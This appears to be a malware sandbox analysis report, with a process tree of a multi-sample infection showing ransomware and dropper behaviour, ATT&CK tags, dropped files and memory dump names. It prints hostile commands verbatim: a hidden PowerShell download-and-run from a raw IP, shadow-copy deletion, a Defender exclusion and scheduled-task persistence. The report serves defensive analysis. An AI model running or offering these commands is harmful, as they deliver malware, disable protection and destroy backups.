C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp92CB.tmp"6⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN Updates\ZcwWvGIJLelYh /XML C:\Users\Admin\AppData\Local\Temp\tmp92CB.tmp7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& { }"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"C:\Users\Admin\AppData\Local\Temp\3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe"5⤵
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet6⤵
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet6⤵
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"C:\Users\Admin\AppData\Local\Temp\4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe"5⤵
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\RANSOMNOTE.txt6⤵
- Opens file in notepad (likely ransom note)
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"C:\Users\Admin\AppData\Local\Temp\5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"C:\Users\Admin\AppData\Local\Temp\6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"C:\Users\Admin\AppData\Local\Temp\7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"C:\Users\Admin\AppData\Local\Temp\9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"C:\Users\Admin\AppData\Local\Temp\59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe"5⤵
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"6⤵
-
C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"C:\Program Files\Google\Chrome\Application\Chrome_boostrap.exe"7⤵
-
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"C:\Users\Admin\AppData\Local\Temp\60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"C:\Users\Admin\AppData\Local\Temp\65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"C:\Users\Admin\AppData\Local\Temp\77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe"5⤵
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122886⤵
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"C:\Users\Admin\AppData\Local\Temp\80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"C:\Users\Admin\AppData\Local\Temp\182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"C:\Users\Admin\AppData\Local\Temp\188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn gwdIOma0syd /tr "mshta C:\Users\Admin\AppData\Local\Temp\N24kAgoCM.hta" /sc minute /mo 25 /ru "Admin" /f6⤵
- Executes a command shell one-liner
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn gwdIOma0syd /tr "mshta C:\Users\Admin\AppData\Local\Temp\N24kAgoCM.hta" /sc minute /mo 25 /ru "Admin" /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\mshta.exemshta C:\Users\Admin\AppData\Local\Temp\N24kAgoCM.hta6⤵
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'J0SENHSNYPMLGVH7CL0TXKTONEEOFXKW.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;7⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'J0SENHSNYPMLGVH7CL0TXKTONEEOFXKW.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.156.72.2/testmine/random.exe',$d);Start-Process $d;8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"C:\Users\Admin\AppData\Local\Temp\0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7636 -s 3246⤵
- Program crash
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"C:\Users\Admin\AppData\Local\Temp\539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"C:\Users\Admin\AppData\Local\Temp\577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe"5⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"6⤵
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Roaming\mGxdd.vbs"7⤵
-
C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Roaming\mGxdd.vbs8⤵
- Executes a VBScript file via the Windows Script Host.
-
-
-
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"C:\Users\Admin\AppData\Local\Temp\755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"C:\Users\Admin\AppData\Local\Temp\771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"C:\Users\Admin\AppData\Local\Temp\876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"C:\Users\Admin\AppData\Local\Temp\954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe"4⤵
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"C:\Users\Admin\AppData\Local\Temp\4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"C:\Users\Admin\AppData\Local\Temp\06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe"5⤵
-
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe"4⤵
-
-
C:\Windows\WINo2KqKjZt.exe"WINo2KqKjZt.exe" ?exech_r "C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"C:\Users\Admin\AppData\Local\Temp\145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe"5⤵
-
-
-
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WINo2KqKjZtW" /sc MINUTE /mo 13 /tr "'C:\Windows\Help\Help\WINo2KqKjZt.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WINo2KqKjZt" /sc ONLOGON /tr "'C:\Windows\Help\Help\WINo2KqKjZt.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 7636 -ip 76361⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WINo2KqKjZtW" /sc MINUTE /mo 10 /tr "'C:\Windows\Help\Help\WINo2KqKjZt.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WINo2KqKjZtW" /sc MINUTE /mo 8 /tr "'C:\d_cachehuWVoZx74a6YygBN\WINo2KqKjZt.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WINo2KqKjZt" /sc ONLOGON /tr "'C:\d_cachehuWVoZx74a6YygBN\WINo2KqKjZt.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "WINo2KqKjZtW" /sc MINUTE /mo 11 /tr "'C:\d_cachehuWVoZx74a6YygBN\WINo2KqKjZt.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa39f1855 /state1:0x41c64e6d1⤵
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 14 /tr "'C:\d_cachehuWVoZx74a6YygBN\ctfmon.exe'" /f1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
BBBBBBBBBBB
2lurkdd7eyrfmuoe2p.dragonforce_encrypted
symsrv.dll
Chrome_boostrap.exe
Data breach warning.txt
4fdabd8d-a756-4519-bea9-8a2857e03493.tmp
settings.dat
settings.dat
settings.dat
188da5f9-e4b6-4dbc-bc2f-151d43b1b3cf.tmp
temp-index
c868867e-f795-491f-9337-48b83df5aa35.tmp
f2ff1e65-05a2-4e4f-8390-721235d1e56e.tmp
temp-index
d0c52152-07ff-44d0-ae4f-8085d2995acc.tmp
e5749911-83aa-4bc2-a323-bfb0a3d0fe7f.tmp
ee6c3335-3b04-47fc-8dc6-a417737d3fbb.tmp
adfed81c-6bdc-430c-b39f-bece4cac939b.tmp
d668e69e-e42d-46a1-8792-2da54f590c50.tmp
dc7fa48a-d5ac-48d0-b80e-cee8e4c804ea.tmp
6b66a87c-90cd-4f64-8ff5-9c320763acaa.tmp
76561199851454339[1].htm
01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe
0379d402a94f960380d7d91e3bfa106eeac01cd39ae7b0ba5010ba737088a215.exe
03834e6c7a8bac7bb283f0ffca293cda50b4547237cc32c8b6e16501771cb705.exe
06922dd72ff4f3e3cffcfe8a6f2070672c341588f3a8ea1f847a0cdf601854d5.exe
0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe
0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe
145289accb8c684e583ca3d99532d64d0a6a40142062e648c65ffd8da070c4c9.exe
182fb9756b66963f458ebbe0f20ff2715a758825ac6655fc56ec85579df61330.exe
188c3798b6d41bdfa3981bb61a40b81f4fe123c64b9bed2d4c40951de2064f19.exe
1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe
3e3c7d3f5f93d7bf260aca7612b4dbc5d0e90992841f7e6826d7fb7fa3abe044.exe
4797cb80b22ba0da0ede6593bfc16399a5ffc289400155115c8de7786ea0db49.exe
4895f3e5549c1333698e23707fb39c0d24c33c31d1bc089b7970911fba3dc0f7.exe
4d5ecf3d1955458195771630f03f6ef42f5f62e66ed8e0681f8311d25aecc2bb.exe
53055b6d2651d5c6b4a0bf9ee2f50c73918e65c9d36acfd10eb2eefb0d3e957f.exe
539b377d4a33d1e884f18ecf0e0b0330e5dc26023b7ae051843cac8014142d98.exe
577b3a152ddc9d6558ad1b38ef6da89257229adf06d298ea025048a6d5d2fcea.exe
59ab63c99285e35679153e299e411aa32a94d25482566428a6fd7d908f04d4ad.exe
5f7dbb2374af6314df4cd22c830ffaced38bc2ea8ec16775e502d7422ca74f35.exe
60e76eda46185d1d2e9463d15e31d4c87eb03535d368cc3471c55992bc99ad5f.exe
65fd5041c1a1c4115b0c59995221023486f02e5e5d8e313c3e48f3a42ef9a623.exe
6ca05da8350d9f5e5d3a7547c0d4693ebc1190e3b76f58f4196021d0c080c722.exe
755b9e89416a664f52a0dfee6de54687f15ae900a7317763b0a4144996724f6a.exe
771a06e3a1bdb42a7249d1c888e740c2bc46ba30b54490188c17f6c84ca96e26.exe
77ebb550f38da3f28a65940a4c665ae3a679249ad906aa39387568a1f7ddd3fa.exe
7a8c864ed8b7ca908d3f317d7e63a30a85fb3e8c94070f23f2cf0bfa01c5e0b5.exe
80e3a04fa68be799b3c91737e1918f8394b250603a231a251524244e4d7f77d9.exe
876ba1145745c2e088c0df36f8241a20916a092211d05646eae5c7004dd4d429.exe
954d8fcd6b74d76999f9ec033ca855ffdab6595be23039f03bc4c6017fa3932c.exe
9c65d850589e6ab34c6c8e65b8a3b4aa26fa913ca850472023a3b708f95c226b.exe
MEMZ.exe
Monoxidex64.exe
ResonateII.exe
Tsar2.exe
TsarBomba.exe
__PSScriptPolicyTest_01gonowb.jah.psm1
aae8a9852809300d5ee4f5a8031f42f660dff3e427aef081d9aeabb2dca84058.exe
e934e286e2ec0985f44cc3109c6db434a65aeb731a8979e931164881ba2d4729.exe
wixky.exe
RANSOMNOTE.txt
ApproveResolve.htm.aosIt
CheckpointCompare.mpa.aosIt
Data breach warning.txt
ahIFlNJOT.README.txt
fnsYm5R5i.README.txt
gxhOSswKdRC0cuVeYcva.log
note.txt
BBBBBBBBBBB
2iqqfu4eewtq2.dragonforce_encrypted
2lurkdd7eyrfmuoe2p.dragonforce_encrypted
2lurkdd7eyrfmuoe2p.dragonforce_encrypted
2lurkdd7eyrfmuoe2p.dragonforce_encrypted
readme.txt
memory/256-691-0x0000000005770000-0x0000000005771000-memory.dmp
memory/1060-679-0x00000000057D0000-0x00000000057D1000-memory.dmp
memory/1372-673-0x00000000057F0000-0x00000000057F1000-memory.dmp
memory/1624-697-0x0000000002480000-0x0000000002481000-memory.dmp
memory/1636-681-0x0000000005980000-0x0000000005981000-memory.dmp
memory/1708-284-0x0000000004B50000-0x0000000004B8C000-memory.dmp
memory/1708-190-0x0000000000130000-0x000000000014E000-memory.dmp
memory/1708-773-0x0000000005580000-0x00000000055CC000-memory.dmp
memory/1708-192-0x0000000004F60000-0x0000000005578000-memory.dmp
memory/1708-2943-0x0000000005A90000-0x0000000005B9A000-memory.dmp
memory/1708-675-0x0000000004AD0000-0x0000000004AD1000-memory.dmp
memory/1708-193-0x0000000004AF0000-0x0000000004B02000-memory.dmp
memory/1808-689-0x0000000004FC0000-0x0000000004FC1000-memory.dmp
memory/2176-252-0x0000000005C10000-0x0000000005C28000-memory.dmp
memory/2176-835-0x0000000006010000-0x000000000601A000-memory.dmp
memory/2176-209-0x0000000000FE0000-0x000000000108E000-memory.dmp
memory/2176-2659-0x0000000009310000-0x0000000009380000-memory.dmp
memory/2176-216-0x0000000005AB0000-0x0000000005ABA000-memory.dmp
memory/2176-3033-0x0000000009220000-0x00000000092BC000-memory.dmp
memory/2176-833-0x0000000006000000-0x0000000006008000-memory.dmp
memory/2176-687-0x0000000005DB0000-0x0000000005DB1000-memory.dmp
memory/2336-699-0x0000000005560000-0x0000000005561000-memory.dmp
memory/2396-268-0x000000001BE40000-0x000000001BE90000-memory.dmp
memory/2396-253-0x0000000002E40000-0x0000000002E4E000-memory.dmp
memory/2396-239-0x000000001B8D0000-0x000000001B9A8000-memory.dmp
memory/2396-237-0x0000000000D10000-0x0000000000D18000-memory.dmp
memory/2396-288-0x000000001B880000-0x000000001B898000-memory.dmp
memory/2396-298-0x000000001B8A0000-0x000000001B8AC000-memory.dmp
memory/2396-297-0x000000001B850000-0x000000001B85E000-memory.dmp
memory/2396-296-0x000000001B840000-0x000000001B84C000-memory.dmp
memory/2396-266-0x000000001B860000-0x000000001B87C000-memory.dmp
memory/2420-768-0x0000023348A60000-0x0000023348AD6000-memory.dmp
memory/2420-280-0x000002332E260000-0x000002332E2E8000-memory.dmp
memory/2636-683-0x0000000001280000-0x0000000001281000-memory.dmp
memory/2764-85-0x0000000000870000-0x0000000000872000-memory.dmp
memory/2764-77-0x0000000000880000-0x0000000000881000-memory.dmp
memory/2956-73-0x0000000002E30000-0x0000000002E31000-memory.dmp
memory/2956-83-0x00000000013D0000-0x00000000013D2000-memory.dmp
memory/3196-97-0x0000000006260000-0x0000000006261000-memory.dmp
memory/3196-134-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-65-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-66-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-69-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-68-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-64-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-99-0x00000000061D0000-0x00000000061D2000-memory.dmp
memory/3196-67-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-112-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-59-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-282-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-128-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-52-0x0000000001000000-0x0000000001075000-memory.dmp
memory/3196-113-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-63-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-2958-0x0000000001000000-0x0000000001075000-memory.dmp
memory/3196-189-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-62-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3196-188-0x0000000002490000-0x000000000351E000-memory.dmp
memory/3332-695-0x0000000002670000-0x0000000002671000-memory.dmp
memory/3508-95-0x0000000004DC0000-0x0000000004DC1000-memory.dmp
memory/3508-98-0x0000000004C70000-0x0000000004C72000-memory.dmp
memory/3508-142-0x0000000004C70000-0x0000000004C72000-memory.dmp
memory/3612-705-0x0000000004C70000-0x0000000004C71000-memory.dmp
memory/3808-89-0x0000000002C50000-0x0000000002C52000-memory.dmp
memory/3808-90-0x0000000002C80000-0x0000000002C81000-memory.dmp
memory/3816-5344-0x0000000000A70000-0x0000000000AC6000-memory.dmp
memory/3848-125-0x0000000000C20000-0x0000000000DBE000-memory.dmp
memory/3848-115-0x0000000010000000-0x0000000010030000-memory.dmp
memory/3848-127-0x0000000010000000-0x0000000010030000-memory.dmp
memory/4120-685-0x00000000029D0000-0x00000000029D1000-memory.dmp
memory/4240-130-0x0000000000070000-0x00000000000B0000-memory.dmp
memory/4240-667-0x0000000002510000-0x0000000002511000-memory.dmp
memory/4240-131-0x00000000051A0000-0x000000000575A000-memory.dmp
memory/4240-708-0x0000000002500000-0x0000000002502000-memory.dmp
memory/4564-248-0x00000209F7310000-0x00000209F74D2000-memory.dmp
memory/4564-247-0x00000209DCBD0000-0x00000209DCBE8000-memory.dmp
